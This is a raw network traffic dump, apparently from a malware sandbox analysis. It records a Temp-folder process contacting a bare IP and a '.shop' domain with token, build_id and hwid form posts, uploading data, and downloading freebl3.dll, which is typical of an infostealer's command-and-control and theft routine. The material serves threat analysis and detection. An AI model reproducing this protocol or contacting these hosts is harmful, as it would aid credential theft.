45 43 51 54 4b 71 77 53 71 77 38 53 Data Ascii: yR60fim3an2z9CZHn5erV84+e467PJJ/Mo67pf52AJP9OOJYzUY7WXZhIjUf1/pnH9roHtr8wv7WeC3E2iDGJm9Y0lp5No7Y98EGJ8/HG7dObkt++zyyfzKOO2UehlA22P5kL1mG6r2DNcIz6YG98y6/T0tuOCAvgz6b0Q2WcHcZrwDo//e+O/VUkLG5sws36stPaurMMg/TXlulHiagZ6ku5O55lhqdw1U2504nq0euntvuThjECQTKqwSqw8S
2024-05-24 07:43:35 UTC	1369	IN	Data Raw: 63 37 35 4a 6a 6f 64 38 37 58 32 56 31 2f 58 65 2f 63 66 37 2b 74 2b 71 76 7a 6d 69 31 54 34 48 63 45 75 74 38 53 53 66 66 70 6d 76 77 6c 33 53 72 31 48 34 34 43 47 2b 2b 47 4e 39 72 68 49 66 66 72 71 62 4f 61 4b 4e 6c 71 72 64 63 34 47 38 4f 64 4a 62 69 53 75 65 5a 62 36 50 5a 4e 31 78 72 66 50 64 69 75 58 66 6b 35 72 33 72 72 63 38 72 36 53 54 72 39 78 79 45 44 32 49 2f 6d 76 34 4f 76 39 59 6b 69 75 51 4a 63 79 4d 59 6d 32 2f 36 47 6f 66 31 33 49 58 4b 67 69 2f 33 5a 37 4c 31 45 75 31 73 44 6e 47 5a 39 45 44 31 6d 6d 4f 74 30 54 5a 59 5a 48 7a 2b 66 71 5a 36 37 65 79 36 34 61 6e 4c 4c 50 6f 6a 37 72 74 56 72 43 70 68 46 50 61 6d 53 66 2f 55 50 4f 2b 58 46 6c 4e 35 61 72 4a 65 76 33 4c 72 2f 4b 4c 31 34 61 70 44 35 47 6d 43 33 45 75 45 44 32 49 2f 6d 75 Data Ascii: c75Jjod87X2V1/Xe/cf7+t+qvzmi1T4HcEut8SSffpmvwl3Sr1H44CG++GN9rhIffrqbOaKNlqrdc4G8OdJbiSueZb6PZN1xrfPdiuXfk5r3rrc8r6STr9xyED2I/mv4Ov9YkiuQJcyMYm2/6Gof13IXKgi/3Z7L1Eu1sDnGZ9ED1mmOt0TZYZHz+fqZ67ey64anLLPoj7rtVrCphFPamSf/UPO+XFlN5arJev3Lr/KL14apD5GmC3EuED2I/mu
2024-05-24 07:43:35 UTC	954	IN	Data Raw: 62 36 4c 62 4d 46 78 6f 65 2f 74 7a 76 6e 76 76 34 4c 4c 76 72 38 49 6d 2b 32 65 6b 33 7a 6d 48 4a 41 35 6e 33 62 34 4d 70 37 52 76 75 38 49 39 51 47 56 33 2f 44 44 63 47 66 4f 69 33 49 57 34 71 6b 4f 51 5a 2b 32 37 45 72 51 6d 53 58 47 50 34 6b 2f 6e 6e 47 32 68 33 44 5a 43 5a 48 66 37 66 72 70 35 36 4f 43 39 35 61 6a 48 4a 50 6f 73 34 37 4a 57 35 6d 49 45 50 39 4f 4f 4a 59 7a 55 59 37 57 58 5a 68 49 6a 58 50 4e 2f 76 7a 4b 45 68 36 75 67 79 61 6b 78 6b 30 79 42 39 31 58 67 4a 46 45 39 33 65 46 47 37 35 70 6e 71 39 77 79 58 47 4a 35 39 6e 57 38 64 65 50 72 76 65 6d 68 78 44 72 38 4b 75 4f 33 57 65 56 75 44 58 36 57 70 67 43 50 2f 77 2f 74 30 43 59 51 4f 7a 4b 77 51 72 4e 6b 2f 4f 2f 30 68 73 72 64 5a 70 42 50 67 61 34 36 68 77 39 4a 65 4a 47 6d 46 71 58 Data Ascii: b6LbMFxoe/tzvnvv4LLvr8Im+2ek3zmHJA5n3b4Mp7Rvu8I9QGV3/DDcGfOi3IW4qkOQZ+27ErQmSXGP4k/nnG2h3DZCZHf7frp56OC95ajHJPos47JW5mIEP9OOJYzUY7WXZhIjXPN/vzKEh6ugyakxk0yB91XgJFE93eFG75pnq9wyXGJ59nW8dePrvemhxDr8KuO3WeVuDX6WpgCP/w/t0CYQOzKwQrNk/O/0hsrdZpBPga46hw9JeJGmFqX
2024-05-24 07:43:35 UTC	1369	IN	Data Raw: 32 37 64 30 0d 0a 50 49 53 48 33 36 36 6d 32 6d 69 6a 5a 61 71 57 51 76 64 32 48 33 4b 38 36 30 47 6e 2f 41 2b 79 6d 56 59 37 65 68 69 62 47 2f 52 31 34 4b 7a 73 72 4f 48 4c 4f 76 38 71 2b 4c 35 56 34 6d 73 4b 62 5a 7a 72 52 66 57 54 61 36 6e 51 4d 6c 5a 73 64 76 46 31 76 6e 37 72 36 62 2f 68 72 59 4a 6d 6b 30 79 42 39 31 58 30 4a 46 45 39 33 63 68 46 39 49 4e 6e 6f 39 77 6f 53 79 4d 59 6d 32 2f 36 47 6f 66 31 33 49 58 4b 67 69 2f 33 5a 37 4c 31 45 75 39 76 41 6e 75 64 36 6b 37 6a 6d 57 53 2f 32 44 6c 58 61 6e 76 69 65 72 4e 31 35 2b 53 2f 34 61 66 51 4a 50 55 31 37 36 56 41 72 43 70 68 46 50 61 6d 53 66 2f 55 50 4f 2b 58 43 46 64 7a 59 50 4d 79 68 57 54 76 2b 72 2f 6a 72 59 4a 41 6b 44 69 6b 33 7a 6e 31 44 47 49 55 33 65 46 43 70 38 77 6d 37 64 45 78 57 Data Ascii: 27d0PISH366m2mijZaqWQvd2H3K860Gn/A+ymVY7ehibG/R14KzsrOHLOv8q+L5V4msKbZzrRfWTa6nQMlZsdvF1vn7r6b/hrYJmk0yB91X0JFE93chF9INno9woSyMYm2/6Gof13IXKgi/3Z7L1Eu9vAnud6k7jmWS/2DlXanvierN15+S/4afQJPU176VArCphFPamSf/UPO+XCFdzYPMyhWTv+r/jrYJAkDik3zn1DGIU3eFCp8wm7dExW
2024-05-24 07:43:35 UTC	1369	IN	Data Raw: 69 74 57 44 6a 35 37 48 74 70 63 30 6e 39 79 2f 67 39 78 79 45 44 32 49 2f 6d 76 34 4f 76 39 59 6b 67 64 51 76 57 69 46 58 36 6d 61 7a 66 76 33 6e 75 65 4c 68 71 6b 50 6b 61 59 4c 63 53 34 51 50 59 6a 2b 61 36 67 36 2f 31 69 53 74 31 6a 4e 43 5a 6e 48 36 65 72 6c 36 34 2b 6d 78 34 61 58 47 49 2f 55 31 35 4c 68 53 36 6d 38 49 65 70 37 74 52 4f 6d 64 64 75 32 5a 56 6a 73 49 4d 50 64 6f 39 43 71 75 72 4a 37 31 6f 4d 38 6b 75 51 6e 68 6f 56 57 75 52 51 64 30 6d 75 70 59 70 2f 77 50 73 70 6c 57 4f 33 6f 59 6d 78 76 30 64 65 43 73 37 4b 7a 68 79 79 62 33 4a 4f 32 2f 57 75 6c 6b 41 6e 2b 53 37 45 44 67 68 6d 36 68 33 53 78 66 59 48 33 30 66 62 35 33 35 66 36 78 35 36 65 43 5a 70 4e 4d 67 66 64 56 39 43 52 52 50 64 33 65 52 65 6d 6d 5a 37 61 58 56 6a 74 38 50 70 Data Ascii: itWDj57Htpc0n9y/g9xyED2I/mv4Ov9YkgdQvWiFX6mazfv3nueLhqkPkaYLcS4QPYj+a6g6/1iSt1jNCZnH6erl64+mx4aXGI/U15LhS6m8Iep7tROmddu2ZVjsIMPdo9CqurJ71oM8kuQnhoVWuRQd0mupYp/wPsplWO3oYmxv0deCs7Kzhyyb3JO2/WulkAn+S7EDghm6h3SxfYH30fb535f6x56eCZpNMgfdV9CRRPd3eRemmZ7aXVjt8Pp
2024-05-24 07:43:35 UTC	1369	IN	Data Raw: 35 75 75 34 2b 4b 72 44 4b 2b 30 71 2b 76 63 36 68 33 74 48 46 2f 62 2f 4a 6f 7a 2f 4a 4b 72 62 66 67 67 68 4d 50 74 2f 75 6e 2f 6e 36 4c 33 72 71 63 45 74 2f 69 33 6d 75 31 50 6b 62 51 4e 36 6d 4f 42 45 35 4a 70 72 72 4e 73 36 57 57 31 35 73 44 37 63 47 59 65 73 73 2f 62 68 6d 6d 71 37 45 66 71 77 53 75 46 30 53 30 32 65 39 31 2f 79 6d 58 53 72 6c 52 46 54 62 33 50 31 64 36 51 79 68 49 65 72 6f 4d 6d 70 4d 5a 4e 4d 67 66 64 56 34 43 52 52 50 64 33 6d 53 75 75 58 59 36 50 59 4d 31 39 6b 65 2f 39 36 75 6d 44 6a 36 62 7a 69 71 63 38 36 38 53 33 34 76 6c 76 68 61 67 46 74 6e 71 59 41 6a 2f 38 50 37 64 41 6d 45 44 73 79 73 45 4b 2b 63 65 44 36 75 65 48 68 71 6b 50 6b 61 59 4c 63 53 34 51 50 59 6a 2b 61 36 67 36 2f 31 69 53 2f 78 54 35 62 59 33 66 2b 59 72 56 Data Ascii: 5uu4+KrDK+0q+vc6h3tHF/b/Joz/JKrbfgghMPt/un/n6L3rqcEt/i3mu1PkbQN6mOBE5JprrNs6WW15sD7cGYess/bhmmq7EfqwSuF0S02e91/ymXSrlRFTb3P1d6QyhIeroMmpMZNMgfdV4CRRPd3mSuuXY6PYM19ke/96umDj6bziqc868S34vlvhagFtnqYAj/8P7dAmEDsysEK+ceD6ueHhqkPkaYLcS4QPYj+a6g6/1iS/xT5bY3f+YrV
2024-05-24 07:43:35 UTC	1369	IN	Data Raw: 49 57 34 71 6b 4f 51 5a 2f 7a 33 43 71 34 32 52 78 66 32 6a 51 37 31 31 44 7a 76 6c 33 6c 54 63 57 4c 32 63 36 4a 78 71 39 4b 4b 7a 62 62 55 49 75 42 6c 7a 4c 42 44 35 58 49 45 62 61 50 59 59 4f 71 56 5a 36 4f 56 44 30 5a 75 59 50 4e 31 73 30 7a 53 34 72 50 36 70 73 77 75 2b 32 65 6b 33 7a 6d 48 4a 41 59 2f 78 61 52 33 70 39 77 6b 6b 70 6c 57 4f 77 67 77 36 44 44 73 4d 4b 7a 5a 74 2b 43 76 78 54 37 71 61 73 6d 67 52 4f 5a 2f 53 31 6d 61 39 30 66 78 6d 58 62 74 6d 56 59 37 43 44 44 32 4d 4f 77 77 76 4b 4c 63 68 63 71 43 4c 4f 70 6e 73 76 55 43 76 6a 39 63 4c 4d 71 32 48 49 2f 2f 65 2b 4f 2f 56 55 6b 4c 47 35 73 77 6f 6a 4b 30 72 75 61 67 79 61 6c 44 75 7a 57 71 37 78 43 73 49 77 70 74 6a 2b 42 4e 38 5a 63 6a 6b 2b 6b 65 57 33 56 78 2f 58 75 34 54 4e 4c 35 Data Ascii: IW4qkOQZ/z3Cq42Rxf2jQ711Dzvl3lTcWL2c6Jxq9KKzbbUIuBlzLBD5XIEbaPYYOqVZ6OVD0ZuYPN1s0zS4rP6pswu+2ek3zmHJAY/xaR3p9wkkplWOwgw6DDsMKzZt+CvxT7qasmgROZ/S1ma90fxmXbtmVY7CDD2MOwwvKLchcqCLOpnsvUCvj9cLMq2HI//e+O/VUkLG5swojK0ruagyalDuzWq7xCsIwptj+BN8Zcjk+keW3Vx/Xu4TNL5

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
152	192.168.2.4	50012	78.47.123.174	443	7400	C:\Users\user\AppData\Local\Temp\katC73D.tmp

Timestamp	Bytes transferred	Direction	Data
2024-05-24 07:43:35 UTC	278	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----IDHJEBGIEBFIJKEBFBFH User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:128.0) Gecko/20100101 Firefox/128.0 Host: 78.47.123.174 Content-Length: 437 Connection: Keep-Alive Cache-Control: no-cache
2024-05-24 07:43:35 UTC	437	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 49 44 48 4a 45 42 47 49 45 42 46 49 4a 4b 45 42 46 42 46 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 61 36 33 38 39 34 32 30 30 64 35 38 35 31 63 36 38 31 33 63 39 61 65 39 63 31 63 32 65 37 65 31 0d 0a 2d 2d 2d 2d 2d 2d 49 44 48 4a 45 42 47 49 45 42 46 49 4a 4b 45 42 46 42 46 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 34 32 64 30 36 31 38 33 30 34 61 38 38 64 36 34 37 36 62 63 35 35 64 33 33 63 32 33 64 37 65 36 0d 0a 2d 2d 2d 2d 2d 2d 49 44 48 4a 45 42 47 49 45 42 46 49 4a 4b 45 42 46 42 46 48 0d 0a 43 6f 6e 74 Data Ascii: ------IDHJEBGIEBFIJKEBFBFHContent-Disposition: form-data; name="token"a63894200d5851c6813c9ae9c1c2e7e1------IDHJEBGIEBFIJKEBFBFHContent-Disposition: form-data; name="build_id"42d0618304a88d6476bc55d33c23d7e6------IDHJEBGIEBFIJKEBFBFHCont
2024-05-24 07:43:35 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 24 May 2024 07:43:35 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-05-24 07:43:35 UTC	12	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a 30 0d 0a 0d 0a Data Ascii: 2ok0

Session ID	Source IP	Source Port	Destination IP	Destination Port
153	192.168.2.4	50013	188.114.96.3	443

Timestamp	Bytes transferred	Direction	Data
2024-05-24 07:43:37 UTC	289	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 18158 Host: employhabragaomlsp.shop
2024-05-24 07:43:37 UTC	15331	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 43 43 35 45 45 30 34 45 36 36 37 37 43 46 31 39 43 31 45 33 46 33 44 30 34 44 33 45 43 31 32 33 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 48 38 4e 67 43 6c 2d 2d 0d 0a 2d 2d 62 Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"CC5EE04E6677CF19C1E3F3D04D3EC123--be85de5ipdocierre1Content-Disposition: form-data; name="pid"2--be85de5ipdocierre1Content-Disposition: form-data; name="lid"H8NgCl----b
2024-05-24 07:43:37 UTC	2827	OUT	Data Raw: 4d e7 b8 03 4d ad dd 29 81 f2 25 6f 8d 9b f3 9f 07 bb ae 6e c1 f4 74 a0 46 9e dd 44 3a b6 ea f7 8d 77 8c 30 f7 2d 3a 5e 78 e6 d9 84 b0 07 c8 dc 44 8b 5c 37 7b fb ca 23 5f 36 6d 2b c9 df b7 24 a9 bc 70 d3 dd 98 da 4d 16 48 c1 d0 c9 d5 49 13 55 45 68 ed 5e ef aa d6 a5 b6 55 e8 30 13 67 aa 7a 0c 44 f5 2f c0 e3 2b e7 fb 3b 59 90 f0 70 93 c0 3f ee 4c 10 0e bb be eb 3c d7 34 e8 6e cd 74 c5 e2 cb eb 6d db e8 13 05 d7 da ba 6c 95 3d a2 38 f5 d7 4b e3 d4 69 a8 33 83 0e 15 fa 46 ca d1 d5 a4 6f 98 ff ba be f6 4f ec e7 b8 41 b9 35 35 6f df d7 6e b4 81 3d a9 b9 db c0 6c dc 0d bd e3 2e 85 05 bc 3b 82 4b 1b 1e ce 0b 47 dd 7b be cb 51 82 bb d3 d3 f4 36 9c 58 ee 7c 6d cc b2 92 e5 6e b1 c6 c7 5e d9 b7 ac 49 aa b3 55 f5 d2 ec 6d 9e f3 27 aa 33 f8 52 f0 fd e9 0a 3f 6c af 16 Data Ascii: MM)%ontFD:w0-:^xD\7{#_6m+$pMHIUEh^U0gzD/+;Yp?L<4ntml=8Ki3FoOA55on=l.;KG{Q6X\|mn^IUm'3R?l
2024-05-24 07:43:38 UTC	820	IN	HTTP/1.1 200 OK Date: Fri, 24 May 2024 07:43:38 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=iivstt2dqfg1uk3agl2b09egcb; expires=Tue, 17-Sep-2024 01:30:17 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=9K%2BM%2BjGVH6DsCnIZUHndR24l6qIf0JA3ATwktAwPsChWX4zdAFFaFmuVy7T3TwKcBMMK%2BlwnRxuUvUsqU78Ov9wdLt3%2FWSUY844An2vfM2vd%2FyOGAHW%2B%2FRwPEkgMzQzVjdYPztRRwwh6Iw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 888ba7e61edd18c0-EWR alt-svc: h3=":443"; ma=86400
2024-05-24 07:43:38 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 37 35 0d 0a Data Ascii: fok 8.46.123.175
2024-05-24 07:43:38 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
154	192.168.2.4	50014	78.47.123.174	443	7400	C:\Users\user\AppData\Local\Temp\katC73D.tmp

Timestamp	Bytes transferred	Direction	Data
2024-05-24 07:43:37 UTC	278	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----EGDGCGCFHIEHIDGDBAAE User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:128.0) Gecko/20100101 Firefox/128.0 Host: 78.47.123.174 Content-Length: 437 Connection: Keep-Alive Cache-Control: no-cache
2024-05-24 07:43:37 UTC	437	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 45 47 44 47 43 47 43 46 48 49 45 48 49 44 47 44 42 41 41 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 61 36 33 38 39 34 32 30 30 64 35 38 35 31 63 36 38 31 33 63 39 61 65 39 63 31 63 32 65 37 65 31 0d 0a 2d 2d 2d 2d 2d 2d 45 47 44 47 43 47 43 46 48 49 45 48 49 44 47 44 42 41 41 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 34 32 64 30 36 31 38 33 30 34 61 38 38 64 36 34 37 36 62 63 35 35 64 33 33 63 32 33 64 37 65 36 0d 0a 2d 2d 2d 2d 2d 2d 45 47 44 47 43 47 43 46 48 49 45 48 49 44 47 44 42 41 41 45 0d 0a 43 6f 6e 74 Data Ascii: ------EGDGCGCFHIEHIDGDBAAEContent-Disposition: form-data; name="token"a63894200d5851c6813c9ae9c1c2e7e1------EGDGCGCFHIEHIDGDBAAEContent-Disposition: form-data; name="build_id"42d0618304a88d6476bc55d33c23d7e6------EGDGCGCFHIEHIDGDBAAECont
2024-05-24 07:43:38 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 24 May 2024 07:43:38 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-05-24 07:43:38 UTC	12	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a 30 0d 0a 0d 0a Data Ascii: 2ok0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
155	192.168.2.4	50015	78.47.123.174	443	7400	C:\Users\user\AppData\Local\Temp\katC73D.tmp

Timestamp	Bytes transferred	Direction	Data
2024-05-24 07:43:38 UTC	173	OUT	GET /freebl3.dll HTTP/1.1 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:128.0) Gecko/20100101 Firefox/128.0 Host: 78.47.123.174 Cache-Control: no-cache
2024-05-24 07:43:39 UTC	246	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 24 May 2024 07:43:38 GMT Content-Type: application/octet-stream Content-Length: 685392 Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT Connection: close ETag: "6315a9f4-a7550" Accept-Ranges: bytes
2024-05-24 07:43:39 UTC	16138	IN	Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 0e 08 00 00 34 02 00 00 00 00 00 70 12 08 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 0a 00 00 04 00 00 cb fd 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 48 1c 0a 00 53 00 00 00 9b 1c 0a 00 c8 00 00 Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!4p@AHS
2024-05-24 07:43:39 UTC	16384	IN	Data Raw: 89 7d c8 89 f2 31 fa 8b 4d 98 31 c1 89 ce 0f a4 d6 10 89 b5 58 ff ff ff 0f ac d1 10 89 4d 98 8b 7d ec 01 cf 89 7d ec 8b 55 e0 11 f2 89 55 e0 31 d3 8b 4d 8c 31 f9 89 da 0f a4 ca 01 89 55 88 0f a4 d9 01 89 4d 8c 8b 5d d4 03 9d 20 ff ff ff 8b 45 cc 13 85 48 ff ff ff 03 5d 94 13 45 9c 89 45 cc 8b bd 7c ff ff ff 31 c7 8b 45 a8 31 d8 89 45 a8 8b 4d c4 01 f9 89 4d c4 8b 75 bc 11 c6 89 75 bc 8b 55 94 31 ca 8b 4d 9c 31 f1 89 d0 0f a4 c8 08 0f a4 d1 08 89 4d 9c 03 9d 04 ff ff ff 8b 75 cc 13 b5 08 ff ff ff 01 cb 89 5d d4 11 c6 89 75 cc 8b 4d a8 31 f1 31 df 89 fa 0f a4 ca 10 89 55 94 0f ac cf 10 89 bd 7c ff ff ff 8b 75 c4 01 fe 89 75 c4 8b 4d bc 11 d1 89 4d bc 31 c8 8b 5d 9c 31 f3 89 c1 0f a4 d9 01 89 8d 78 ff ff ff 0f a4 c3 01 89 5d 9c 8b 45 b8 03 85 30 ff ff ff 8b Data Ascii: }1M1XM}}UU1M1UM] EH]EE\|1E1EMMuuU1M1Mu]uM11U\|uuMM1]1x]E0
2024-05-24 07:43:39 UTC	16384	IN	Data Raw: 00 89 90 98 00 00 00 8b 4d e8 89 fa 31 ca c1 c2 08 31 d1 89 d6 89 88 a4 00 00 00 8b 4d d8 8b 55 d4 31 ca c1 c2 08 89 b0 a0 00 00 00 31 d1 89 88 ac 00 00 00 89 90 a8 00 00 00 8b 4d c0 8b 55 c4 31 d1 c1 c1 08 31 ca 89 90 b4 00 00 00 8b 95 54 ff ff ff 8b 75 bc 31 d6 c1 c6 08 89 88 b0 00 00 00 31 f2 89 90 bc 00 00 00 89 b0 b8 00 00 00 81 c4 d8 00 00 00 5e 5f 5b 5d c3 cc cc cc cc cc cc cc cc cc cc cc cc 55 89 e5 53 57 56 81 ec 00 01 00 00 89 95 78 ff ff ff 89 cf ff 31 e8 a2 90 07 00 83 c4 04 89 45 bc ff 77 04 e8 94 90 07 00 83 c4 04 89 45 b8 ff 77 08 e8 86 90 07 00 83 c4 04 89 45 c0 ff 77 0c e8 78 90 07 00 83 c4 04 89 45 dc ff 77 10 e8 6a 90 07 00 83 c4 04 89 c6 ff 77 14 e8 5d 90 07 00 83 c4 04 89 c3 ff 77 18 e8 50 90 07 00 83 c4 04 89 45 e8 ff 77 1c e8 42 90 Data Ascii: M11MU11MU11Tu11^_[]USWVx1EwEwEwxEwjw]wPEwB
2024-05-24 07:43:39 UTC	16384	IN	Data Raw: 01 00 00 30 43 01 8a 87 1a 01 00 00 30 43 02 8a 87 1b 01 00 00 30 43 03 8a 87 1c 01 00 00 30 43 04 8a 87 1d 01 00 00 30 43 05 8a 87 1e 01 00 00 30 43 06 8a 87 1f 01 00 00 30 43 07 8a 87 20 01 00 00 30 43 08 8a 87 21 01 00 00 30 43 09 8a 87 22 01 00 00 30 43 0a 8a 87 23 01 00 00 30 43 0b 8a 87 24 01 00 00 30 43 0c 8a 87 25 01 00 00 30 43 0d 8a 87 26 01 00 00 30 43 0e 8a 87 27 01 00 00 30 43 0f 0f 10 45 e0 0f 11 87 18 01 00 00 8b 4d f0 31 e9 e8 ad 4e 07 00 31 c0 83 c4 1c 5e 5f 5b 5d c3 cc cc cc 55 89 e5 68 28 01 00 00 e8 42 50 07 00 83 c4 04 5d c3 cc cc cc cc cc cc cc cc cc cc cc cc cc cc 55 89 e5 53 57 56 83 ec 24 8b 4d 0c a1 b4 30 0a 10 31 e8 89 45 f0 85 c9 74 50 8b 45 10 8d 50 f0 83 fa 10 77 45 be 01 01 01 00 0f a3 d6 73 3b 8b 75 18 83 fe 02 73 33 8b 7d Data Ascii: 0C0C0C0C0C0C0C 0C!0C"0C#0C$0C%0C&0C'0CEM1N1^_[]Uh(BP]USWV$M01EtPEPwEs;us3}
2024-05-24 07:43:39 UTC	16384	IN	Data Raw: 89 5e 1c c1 e8 18 33 0c 85 70 3f 08 10 89 56 20 8b 45 f0 8b 5d ec 29 d8 05 33 37 ef c6 0f b6 d4 8b 14 95 70 37 08 10 0f b6 f0 33 14 b5 70 33 08 10 89 c6 c1 ee 0e 81 e6 fc 03 00 00 33 96 70 3b 08 10 8b 75 e0 89 7e 24 c1 e8 18 33 14 85 70 3f 08 10 89 4e 28 89 56 2c 8b 45 e8 89 c7 0f a4 df 08 0f a4 c3 08 89 5d ec 8b 45 e4 01 f8 05 99 91 21 72 0f b6 cc 8b 0c 8d 70 37 08 10 0f b6 d0 33 0c 95 70 33 08 10 89 c2 c1 ea 0e 81 e2 fc 03 00 00 33 8a 70 3b 08 10 c1 e8 18 33 0c 85 70 3f 08 10 89 4e 30 8b 75 f0 89 f1 29 d9 81 c1 67 6e de 8d 0f b6 c5 8b 04 85 70 37 08 10 0f b6 d1 33 04 95 70 33 08 10 89 ca c1 ea 0e 81 e2 fc 03 00 00 33 82 70 3b 08 10 c1 e9 18 33 04 8d 70 3f 08 10 89 f1 8b 55 e4 0f a4 d6 18 89 75 e8 0f ac d1 08 89 cb 89 4d f0 8d 14 3e 81 c2 31 23 43 e4 0f Data Ascii: ^3p?V E])37p73p33p;u~$3p?N(V,E]E!rp73p33p;3p?N0u)gnp73p33p;3p?UuM>1#C
2024-05-24 07:43:39 UTC	16384	IN	Data Raw: 04 00 83 c4 04 85 c0 89 7d a8 0f 88 d4 01 00 00 8d 45 d0 50 e8 ed 59 04 00 83 c4 04 85 c0 0f 88 c0 01 00 00 8d 45 c0 50 e8 d9 59 04 00 83 c4 04 85 c0 0f 88 ac 01 00 00 8d 45 b0 50 e8 c5 59 04 00 83 c4 04 89 c3 85 c0 0f 88 98 01 00 00 8d 46 04 8b 4d ac 83 c1 04 50 51 57 e8 ae d0 06 00 83 c4 0c 89 c7 85 c0 0f 85 7c 01 00 00 8b 45 ac ff 70 0c ff 70 08 8d 45 c0 50 e8 48 d7 04 00 83 c4 0c 89 c3 85 c0 0f 88 5b 01 00 00 8d 46 10 8b 4d ac 83 c1 10 50 51 ff 75 a8 e8 6f d0 06 00 83 c4 0c 89 c7 85 c0 0f 85 3d 01 00 00 8b 45 ac ff 70 18 ff 70 14 8d 45 e0 50 e8 09 d7 04 00 83 c4 0c 89 c3 85 c0 0f 88 1c 01 00 00 8b 4e 0c b8 40 00 00 00 81 f9 7f 07 00 00 77 2c b8 30 00 00 00 81 f9 bf 03 00 00 77 1f b8 20 00 00 00 81 f9 7f 01 00 00 77 12 31 c0 81 f9 00 01 00 00 0f 93 c0 Data Ascii: }EPYEPYEPYFMPQW\|EppEPH[FMPQuo=EppEPN@w,0w w1
